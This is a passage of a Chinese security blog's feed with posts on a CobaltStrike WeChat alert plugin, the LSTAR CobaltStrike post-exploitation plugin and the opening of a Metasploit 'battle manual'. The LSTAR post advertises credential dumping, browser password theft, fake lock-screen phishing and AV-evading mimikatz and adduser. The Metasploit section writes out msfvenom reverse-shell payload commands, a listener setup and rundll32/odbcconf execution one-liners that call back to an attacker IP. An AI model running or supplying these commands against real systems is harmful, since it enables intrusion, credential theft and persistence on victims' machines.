推送消息到微信</h2><p>进入「我的企业」 → 「<a href="https://work.weixin.qq.com/wework_admin/frame#profile/wxPlugin">微信插件</a>」，拉到下边扫描二维码，关注以后即可收到推送的消息。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210728113233.png" alt="img"></p><p>PS：如果出现<code>接口请求正常，企业微信接受消息正常，个人微信无法收到消息</code>的情况：</p><ol><li><p>进入「我的企业」 → 「<a href="https://work.weixin.qq.com/wework_admin/frame#profile/wxPlugin">微信插件</a>」，拉到最下方，勾选 “允许成员在微信插件中接收和回复聊天消息”</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210728113255.jpeg" alt="img"></p></li><li><p>在企业微信客户端 「我」 → 「设置」 → 「新消息通知」中关闭 “仅在企业微信中接受消息” 限制条件</p><p> <img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210728113358.jpeg" alt="img"></p></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;CS-ServerChan&quot;&gt;&lt;a href=&quot;#CS-ServerChan&quot; class=&quot;headerlink&quot; title=&quot;CS-ServerChan&quot;&gt;&lt;/a&gt;CS-ServerChan&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;通过 CobaltStike 服务端</summary>
      
    
    
    
    <category term="Tools" scheme="https://www.lintstar.top/categories/Tools/"/>
    
    
    <category term="CobaltStrike" scheme="https://www.lintstar.top/tags/CobaltStrike/"/>
    
    <category term="ServerChan" scheme="https://www.lintstar.top/tags/ServerChan/"/>
    
    <category term="Aggressor" scheme="https://www.lintstar.top/tags/Aggressor/"/>
    
  </entry>
  
  <entry>
    <title>LSTAR - CobaltStrike 后渗透插件</title>
    <link href="https://www.lintstar.top/2021/07/d1676e54.html"/>
    <id>https://www.lintstar.top/2021/07/d1676e54.html</id>
    <published>2021-07-07T05:49:59.000Z</published>
    <updated>2023-11-09T07:40:38.140Z</updated>
    
    <content type="html"><![CDATA[<h1 id="LSTAR-Aggressor"><a href="#LSTAR-Aggressor" class="headerlink" title="LSTAR - Aggressor"></a>LSTAR - Aggressor</h1><p><strong>本着简化 CS 右键和方便自己集成的目的，对 Reference 里的项目进行了缝合以及二次开 (抄) 发 (袭)</strong> </p><p><strong>并添加了虚拟机/AV 检测、主机相关密码抓取、 Cxk 限时免杀的 mimikatz 和 adduser 等功能</strong></p><blockquote><p><strong>项目链接：<a href="https://github.com/lintstar/LSTAR">https://github.com/lintstar/LSTAR</a></strong></p></blockquote><p><strong>项目树较为简单直观 且方便 DIY：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210812113750.png" alt="image-20210812113750414"></p><blockquote><p><strong>CobaltStrike 主机上线微信通知插件：</strong></p><p><strong>如果想使用免费且支持微信模板消息推送的方式可以移步：<a href="https://github.com/lintstar/CS-PushPlus">https://github.com/lintstar/CS-PushPlus</a></strong></p><p><strong>如果有订阅 ServerChan 的企业微信推送通道可以移步：<a href="https://github.com/lintstar/CS-ServerChan">https://github.com/lintstar/CS-ServerChan</a></strong></p></blockquote><h1 id="2021-08-12更新"><a href="#2021-08-12更新" class="headerlink" title="2021.08.12更新"></a>2021.08.12更新</h1><h2 id="InfoCollect"><a href="#InfoCollect" class="headerlink" title="InfoCollect"></a>InfoCollect</h2><p>新增 CheckVM 检测目标是否为虚拟机</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210808221427.png" alt="20210808_2213"></p><h2 id="AVSearch"><a href="#AVSearch" class="headerlink" title="AVSearch"></a>AVSearch</h2><p>由于之前的脚本有一定概率失败：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210811110517.png" alt="image-20210808222325403"></p><p>更新了新的检测杀软方式</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210808221945.png" alt="image-20210808221945724"></p><h2 id="AuthPromote"><a href="#AuthPromote" class="headerlink" title="AuthPromote"></a>AuthPromote</h2><p><strong>修复了之前提权模块的 BUG</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210811105401.png" alt="image-20210811105401723"></p><h2 id="AuthMaintain"><a href="#AuthMaintain" class="headerlink" title="AuthMaintain"></a>AuthMaintain</h2><p><strong>EasyPersistent：</strong><a href="https://github.com/yanghaoi/CobaltStrike_CNA/tree/main/EasyCNA">https://github.com/yanghaoi/CobaltStrike_CNA/tree/main/EasyCNA</a></p><p><strong>新增一个用于 Windows 系统上权限维持的 Cobalt Strike CNA 脚本</strong></p><p><strong>使用反射 DLL 模块通过 API 对系统服务、计划任务等常见权限维持方法进行可视化操作，非 常 好 用。（作者原话）</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210812170907.png" alt="image-20210812170907609"></p><blockquote><p><strong>说明文档：</strong><a href="https://github.com/yanghaoi/CobaltStrike_CNA/blob/main/EasyCNA/README.md">https://github.com/yanghaoi/CobaltStrike_CNA/blob/main/EasyCNA/README.md</a></p></blockquote><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210812170946.png" alt="image-20210812170946202"></p><h2 id="PassCapture"><a href="#PassCapture" class="headerlink" title="PassCapture"></a>PassCapture</h2><h3 id="Mimikatz-相关"><a href="#Mimikatz-相关" class="headerlink" title="Mimikatz 相关"></a>Mimikatz 相关</h3><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210811104834.png" alt="image-20210811104834675"></p><h3 id="Lazagne"><a href="#Lazagne" class="headerlink" title="Lazagne"></a>Lazagne</h3><p><strong>实战测试比较好用的检索主机密码工具 （上传运行后会自动删除 exe 文件）</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210811102145.png" alt="image-20210811102145547"></p><h3 id="浏览器密码"><a href="#浏览器密码" class="headerlink" title="浏览器密码"></a>浏览器密码</h3><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210811105159.png" alt="image-20210811105159479"></p><p><strong>推荐使用 HackBrowserData 几乎涵盖所有类型的浏览器：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210812124004.png" alt="image-20210812124004797"></p><h3 id="Navicat-Xshell-等本机软件"><a href="#Navicat-Xshell-等本机软件" class="headerlink" title="Navicat Xshell 等本机软件"></a>Navicat Xshell 等本机软件</h3><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210811105105.png" alt="image-20210811105105056"></p><h3 id="FakeTheScreen"><a href="#FakeTheScreen" class="headerlink" title="FakeTheScreen"></a>FakeTheScreen</h3><p><strong>优化了针对 Windows10和 Windows7不同的钓鱼密码窃取</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210811095234.png" alt="image-20210811095234252"></p><p><strong>由于伪造页面效果一言难尽，只建议在准备鱼死网破时使用：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210811094621.png" alt="image-20210811094621414"></p><h2 id="AboutMe"><a href="#AboutMe" class="headerlink" title="AboutMe"></a>AboutMe</h2><p><strong>添加了 AboutMe 帮助菜单</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210811105716.png" alt="image-20210811105716461"></p><p><strong>方便从 CS 跳转 凌星阁</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210811110156.png" alt="image-20210811110156391"></p><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><p><a href="https://github.com/pandasec888/taowu-cobalt-strike"><strong>梼杌 - taowu-cobalt-strike</strong></a></p><p><a href="https://github.com/z1un/Z1-AggressorScripts"><strong>Z1-AggressorScripts</strong></a></p><p><a href="https://github.com/422926799/csplugin"><strong>九世自开 csplugin</strong></a></p><p><a href="https://github.com/yanghaoi/CobaltStrike_CNA/blob/main/EasyCNA/README.md">EasyPersistent Windows 权限维持</a></p><h1 id="InfoCollect-1"><a href="#InfoCollect-1" class="headerlink" title="InfoCollect"></a>InfoCollect</h1><p><strong>添加了 Netview 和 Powerview 功能</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151205.png" alt="image-20210707112534352"></p><h1 id="AvSearch"><a href="#AvSearch" class="headerlink" title="AvSearch"></a>AvSearch</h1><p><strong>通过 Wmic 进行进程查询</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151216.png" alt="image-20210707114047098"></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151223.png" alt="image-20210706105117525"></p><h1 id="IntrScan"><a href="#IntrScan" class="headerlink" title="IntrScan"></a>IntrScan</h1><p><strong>包含各类内网大保健</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151250.png" alt="image-20210707112718120"></p><p><strong>自定义指令运行</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151356.png" alt="image-20210706110153336"></p><p><strong>fscan 默认上传至 <code>C:\\Users\\Public\\</code></strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151303.png" alt="image-20210706110110475"></p><p><strong>控制台返回</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151402.png" alt="image-20210706110008931"></p><p><strong>删除 fscan 及结果文本</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151415.png" alt="image-20210706110809988"></p><h1 id="IntrAgent"><a href="#IntrAgent" class="headerlink" title="IntrAgent"></a>IntrAgent</h1><p><strong>比较好用的内网穿透工具 且均无配置文件落地 降低被溯源风险</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151422.png" alt="image-20210707112750687"></p><h1 id="AuthPromote-1"><a href="#AuthPromote-1" class="headerlink" title="AuthPromote"></a>AuthPromote</h1><p><strong>只缝合了梼杌的提权 EXP 后续待完善</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151429.png" alt="image-20210707112813847"></p><h1 id="AuthMaintain-1"><a href="#AuthMaintain-1" class="headerlink" title="AuthMaintain"></a>AuthMaintain</h1><p><strong>在梼杌的基础上 添加了白银票据和黄金票据</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151438.png" alt="image-20210707112856320"></p><h1 id="PassCapture-1"><a href="#PassCapture-1" class="headerlink" title="PassCapture"></a>PassCapture</h1><p><strong>各类密码抓取</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151447.png" alt="image-20210707113614496"></p><h1 id="LateMovement"><a href="#LateMovement" class="headerlink" title="LateMovement"></a>LateMovement</h1><p><strong>包含 基于135端口的sharpwmi 等横向移动套件</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151454.png" alt="image-20210707113642982"></p><h1 id="TraceClean"><a href="#TraceClean" class="headerlink" title="TraceClean"></a>TraceClean</h1><p><strong>缝合九世的痕迹清理 待完善</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151501.png" alt="image-20210707113717904"></p><h1 id="BypassCxk"><a href="#BypassCxk" class="headerlink" title="BypassCxk"></a>BypassCxk</h1><p><strong>cxk 限时免杀版 adduser 和 mimikatz</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151508.png" alt="image-20210707113737475"></p><h1 id="HavingFun"><a href="#HavingFun" class="headerlink" title="HavingFun"></a>HavingFun</h1><p><strong>搞站的日子里图一乐</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210707151515.png" alt="image-20210707113749756"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;LSTAR-Aggressor&quot;&gt;&lt;a href=&quot;#LSTAR-Aggressor&quot; class=&quot;headerlink&quot; title=&quot;LSTAR - Aggressor&quot;&gt;&lt;/a&gt;LSTAR - Aggressor&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;本着简化 C</summary>
      
    
    
    
    <category term="Tools" scheme="https://www.lintstar.top/categories/Tools/"/>
    
    
    <category term="CobaltStrike" scheme="https://www.lintstar.top/tags/CobaltStrike/"/>
    
    <category term="Attack" scheme="https://www.lintstar.top/tags/Attack/"/>
    
    <category term="Aggressor" scheme="https://www.lintstar.top/tags/Aggressor/"/>
    
  </entry>
  
  <entry>
    <title>MSF 作战手册及联动 CobaltStrike</title>
    <link href="https://www.lintstar.top/2021/06/cc6d559a.html"/>
    <id>https://www.lintstar.top/2021/06/cc6d559a.html</id>
    <published>2021-06-12T15:49:59.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<h1 id="MSF-作战手册及联动-CobaltStrike"><a href="#MSF-作战手册及联动-CobaltStrike" class="headerlink" title="MSF 作战手册及联动 CobaltStrike"></a>MSF 作战手册及联动 CobaltStrike</h1><p>一直一来由于比较喜欢 CS 的多人协同、插件和图形化界面，MSF 的研究相对较少，而 MSF 的模块以及漏洞利用方面的支持是优于CS 的，某些内网探测模块一直都很好用，而且控制的好，动静也并不会非常大。因此今天来探究下 Metasploit 后渗透框架以及和 CobaltStrike 的联动。</p><h1 id="MSF-模块划分"><a href="#MSF-模块划分" class="headerlink" title="MSF 模块划分"></a>MSF 模块划分</h1><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210704115641.png" alt="image-20210704115641312"></p><ul><li>2146 个渗透攻击模块 (Exploits) - 选择并植入载荷获取权限</li><li>1142 个辅助模块 (Auxiliary) - 扫描主机系统，寻找可用漏洞</li><li>365 个后渗透攻击模块 (Post) - 用于内网渗透的各种操作</li><li>592 个攻击载荷 (Payloads) - 渗透攻击成功后植入代码控制目标系统会话连接</li><li>45 个编码器模块 (Encoders) - 选择编码技术，确保攻击载荷不会出现 “坏字符”</li><li>10 个空指令模块 (Nops) - 在执行 shellcode 前加入一些空指令，避免攻击载荷在执行过程中出现随机地址或返回地址错误</li><li>7 个免杀模块 (Evasion) - 对攻击载荷进行 “免杀”</li></ul><h1 id="Msfconsole-参数摘要"><a href="#Msfconsole-参数摘要" class="headerlink" title="Msfconsole 参数摘要"></a>Msfconsole 参数摘要</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">reload_all<span class="comment">#从目录重载所有模块</span></span><br><span class="line">back<span class="comment">#后退命令，移出当前上下文，用于模块切换</span></span><br><span class="line">info<span class="comment">#目标和模块详细信息</span></span><br><span class="line">check<span class="comment">#检查目标是否受某个漏洞影响</span></span><br><span class="line"></span><br><span class="line">background  <span class="comment">#切到后台</span></span><br><span class="line">sessions<span class="comment">#会话管理</span></span><br><span class="line">sessions -l<span class="comment">#列出所有会话</span></span><br><span class="line">sessions -K<span class="comment">#终止所有会话</span></span><br><span class="line">sessions -i id<span class="comment">#进入某个会话</span></span><br><span class="line">sessions -v<span class="comment">#以详细模式列出会话</span></span><br><span class="line">sessions -u<span class="comment">#在许多平台上将shell升级到meterpreter会话</span></span><br><span class="line"></span><br><span class="line">show options<span class="comment">#显示可选选项</span></span><br><span class="line"> auxiliary<span class="comment">#显示所有辅助模块</span></span><br><span class="line"> exploits<span class="comment">#显示所有漏洞利用模块</span></span><br><span class="line"> payloads<span class="comment">#显示所有有效载荷</span></span><br><span class="line"> targets<span class="comment">#显示所有可用目标</span></span><br><span class="line"> advanced<span class="comment">#显示更多高级选项</span></span><br><span class="line"> encoders<span class="comment">#显示可用编码器列表</span></span><br><span class="line"> </span><br><span class="line"><span class="built_in">set</span> proxies sock5:127.0.0.1:8000 <span class="comment">#设置代理</span></span><br></pre></td></tr></table></figure><h1 id="辅助模块（Auxiliary）"><a href="#辅助模块（Auxiliary）" class="headerlink" title="辅助模块（Auxiliary）"></a>辅助模块（Auxiliary）</h1><h2 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">use auxiliary/scanner/portmap/portmap_amp</span><br><span class="line">use auxiliary/scanner/portscan/ftpbounce</span><br><span class="line">use auxiliary/scanner/portscan/tcp</span><br><span class="line">use auxiliary/scanner/portscan/ack</span><br><span class="line">use auxiliary/scanner/portscan/syn</span><br><span class="line">use auxiliary/scanner/portscan/xmas</span><br></pre></td></tr></table></figure><h2 id="服务扫描"><a href="#服务扫描" class="headerlink" title="服务扫描"></a>服务扫描</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">auxiliary/scanner/ssh/ssh_login<span class="comment">#SSH爆破</span></span><br><span class="line">auxiliary/scanner/vnc/vnc_none_auth<span class="comment">#VNC空口令扫描</span></span><br><span class="line">auxiliary/scanner/telnet/telnet_login  <span class="comment">#Telnet爆破</span></span><br><span class="line">auxiliary/scanner/smb/smb_version<span class="comment">#SMB系统版本扫描</span></span><br><span class="line">auxiliary/scanner/smb/smb_enumusers<span class="comment">#SMB枚举</span></span><br><span class="line">auxiliary/scanner/smb/smb_login<span class="comment">#SMB弱口令登录</span></span><br><span class="line">auxiliary/admin/smb/psexec_command<span class="comment">#登录SMB且执行命令</span></span><br><span class="line"></span><br><span class="line">auxiliary/scanner/redis/redis_login<span class="comment">#Redis爆破</span></span><br><span class="line">auxiliary/scanner/mssql/mssql_ping<span class="comment">#MSSQL主机信息扫描</span></span><br><span class="line">auxiliary/admin/mssql/mssql_enum<span class="comment">#MSSQL枚举</span></span><br><span class="line">auxiliary/scanner/mysql/mysql_login<span class="comment">#MySQL弱口令扫描</span></span><br><span class="line">auxiliary/admin/mysql/mysql_enum<span class="comment">#MySQL枚举</span></span><br></pre></td></tr></table></figure><h1 id="Msfenvom-生成被控端"><a href="#Msfenvom-生成被控端" class="headerlink" title="Msfenvom 生成被控端"></a>Msfenvom 生成被控端</h1><p><strong>使用说明</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">Options:</span><br><span class="line"></span><br><span class="line">-p, --payload &lt;payload&gt; 使用指定的payload</span><br><span class="line">--payload-options 列出该payload参数</span><br><span class="line">-l, --list [type] 列出所有的payloads</span><br><span class="line">-n, --nopsled &lt;length&gt; 为payload指定一个 nopsled 长度</span><br><span class="line">-f, --format &lt;format&gt; 指定payload生成格式</span><br><span class="line">--help-formats 查看所有支持格式</span><br><span class="line">-e, --encoder &lt;encoder&gt; 使用编码器</span><br><span class="line">-a, --arch &lt;arch&gt; 指定payload构架</span><br><span class="line">--platform &lt;platform&gt; 指定payload平台</span><br><span class="line">--help-platforms 显示支持的平台</span><br><span class="line">-s, --space &lt;length&gt; 设定payload攻击荷载的最大长度</span><br><span class="line">--encoder-space &lt;length&gt; The maximum size of the encoded payload</span><br><span class="line"></span><br><span class="line">(defaults to the -s value)</span><br><span class="line">-b, --bad-chars &lt;list&gt; 指定bad-chars 如: &#39;\x00\xff&#39;</span><br><span class="line">-i, --iterations &lt;count&gt; 指定编码次数</span><br><span class="line">-c, --add-code &lt;path&gt; 指定个win32 shellcode 文件</span><br><span class="line">-x, --template &lt;path&gt; 指定一个 executable 文件作为模板</span><br><span class="line">-k, --keep payload自动分离并注入到新的进程</span><br><span class="line">-o, --out &lt;path&gt; 存放生成的payload</span><br><span class="line">-v, --var-name &lt;name&gt; 指定自定义变量</span><br><span class="line">--smallest Generate the smallest possible payload</span><br><span class="line">-h, --help 显示帮助文件</span><br></pre></td></tr></table></figure><h3 id="生成-shellcode"><a href="#生成-shellcode" class="headerlink" title="生成 shellcode"></a>生成 shellcode</h3><h4 id="Windows"><a href="#Windows" class="headerlink" title="Windows"></a>Windows</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c &gt; shellcode.c</span><br></pre></td></tr></table></figure><h4 id="Linux"><a href="#Linux" class="headerlink" title="Linux"></a>Linux</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c &gt; shellcode.c</span><br></pre></td></tr></table></figure><h4 id="Mac"><a href="#Mac" class="headerlink" title="Mac"></a>Mac</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c &gt; shellcode.c</span><br></pre></td></tr></table></figure><h3 id="生成-可执行文件"><a href="#生成-可执行文件" class="headerlink" title="生成 可执行文件"></a>生成 可执行文件</h3><h4 id="Windows-1"><a href="#Windows-1" class="headerlink" title="Windows"></a>Windows</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp</span><br><span class="line">LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b <span class="string">&#x27;\x00\x0a\xff&#x27;</span> -i 3 -f exe -o payload.exe</span><br></pre></td></tr></table></figure><h4 id="Linux-1"><a href="#Linux-1" class="headerlink" title="Linux"></a>Linux</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf</span><br></pre></td></tr></table></figure><h4 id="Mac-1"><a href="#Mac-1" class="headerlink" title="Mac"></a>Mac</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho</span><br></pre></td></tr></table></figure><h4 id="Powershell"><a href="#Powershell" class="headerlink" title="Powershell"></a>Powershell</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1</span><br></pre></td></tr></table></figure><blockquote><p><a href="https://micro8.gitbook.io/micro8/contents-1/1-10/10msfvenom-chang-yong-sheng-cheng-payload-ming-ling">https://micro8.gitbook.io/micro8/contents-1/1-10/10msfvenom-chang-yong-sheng-cheng-payload-ming-ling</a></p></blockquote><h1 id="设置监听上线"><a href="#设置监听上线" class="headerlink" title="设置监听上线"></a>设置监听上线</h1><blockquote><p><strong>Attacker：192.168.31.39</strong></p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">msf6 &gt; use exploit/multi/handler</span><br><span class="line">[*] Using configured payload generic/shell_reverse_tcp</span><br><span class="line">msf6 exploit(multi/handler) &gt; <span class="built_in">set</span> payload windows/meterpreter/reverse_tcp</span><br><span class="line">payload =&gt; windows/meterpreter/reverse_tcp</span><br><span class="line">msf6 exploit(multi/handler) &gt; <span class="built_in">set</span> lhost 192.168.31.39</span><br><span class="line">lhost =&gt; 192.168.31.39</span><br><span class="line">msf6 exploit(multi/handler) &gt; <span class="built_in">set</span> lport 6666</span><br><span class="line">lport =&gt; 6666</span><br><span class="line">msf6 exploit(multi/handler) &gt; run</span><br><span class="line"></span><br><span class="line">[*] Started reverse TCP handler on 192.168.31.39:6666</span><br></pre></td></tr></table></figure><h3 id="上线"><a href="#上线" class="headerlink" title="上线"></a>上线</h3><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom <span class="literal">-p</span> windows/meterpreter/reverse_tcp LHOST=<span class="number">192.168</span>.<span class="number">31.39</span> LPORT=<span class="number">6666</span> <span class="operator">-f</span> exe &gt; l.exe</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210704122557.png" alt="image-20210704122557684"></p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">meterpreter &gt; getuid</span><br><span class="line">Server username: WIN-R67KRMDJ8D3\Pow</span><br></pre></td></tr></table></figure><h3 id="Linux-2"><a href="#Linux-2" class="headerlink" title="Linux"></a>Linux</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.31.39 lport=6666 -f elf &gt; go.elf</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210704160536.png" alt="image-20210704160536688"></p><h2 id="基于白名单上线"><a href="#基于白名单上线" class="headerlink" title="基于白名单上线"></a>基于白名单上线</h2><h3 id="基于白名单-Rundll32-上线"><a href="#基于白名单-Rundll32-上线" class="headerlink" title="基于白名单 Rundll32 上线"></a>基于白名单 Rundll32 上线</h3><p>Rundll32 可以以命令行的方式调用动态链接程序库，执行 DLL 文件中的内部函数</p><h4 id="生成-dll-用于加载上线"><a href="#生成-dll-用于加载上线" class="headerlink" title="生成 dll 用于加载上线"></a>生成 dll 用于加载上线</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.39 lport=6666 -f dll &gt; go.dll</span><br></pre></td></tr></table></figure><p>上传 go.dll 到目标服务器，加载 rundll32.exe 运行</p><blockquote><p>rundll32.exe目录：C:\Windows\SysWOW64\rundll32.exe</p></blockquote><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rundll32 shell32.dll,Control_RunDLL c:\Users\Pow\Desktop\go.dll</span><br></pre></td></tr></table></figure><h4 id="Bypass-执行命令"><a href="#Bypass-执行命令" class="headerlink" title="Bypass 执行命令"></a>Bypass 执行命令</h4><p>开启远程桌面</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rundll32.exe javascript:<span class="string">&quot;\..\mshtml.dll,RunHTMLApplication &quot;</span>;eval(<span class="string">&quot;w=new ActiveXObject(\&quot;</span>WScript.Shell\<span class="string">&quot;);w.run(\&quot;</span>mstsc\<span class="string">&quot;);window.close()&quot;</span>);</span><br></pre></td></tr></table></figure><h3 id="基于白名单-odbcconf-exe上线"><a href="#基于白名单-odbcconf-exe上线" class="headerlink" title="基于白名单 odbcconf.exe上线"></a>基于白名单 odbcconf.exe上线</h3><p>ODBCCONF.exe 是一种命令行工具，可用于配置 ODBC 驱动程序和数据源的名称。</p><h3 id="执行命令"><a href="#执行命令" class="headerlink" title="执行命令"></a>执行命令</h3><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">odbcconf.exe /a &#123;regsvr C:\Users\Pow\Desktop\<span class="number">6666</span>.dll&#125;</span><br></pre></td></tr></table></figure><h3 id="基于-PsExec-上线"><a href="#基于-PsExec-上线" class="headerlink" title="基于 PsExec 上线"></a>基于 PsExec 上线</h3><blockquote><p><a href="https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec">https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec</a></p></blockquote><figure class="highlight bash"><table><tr><td 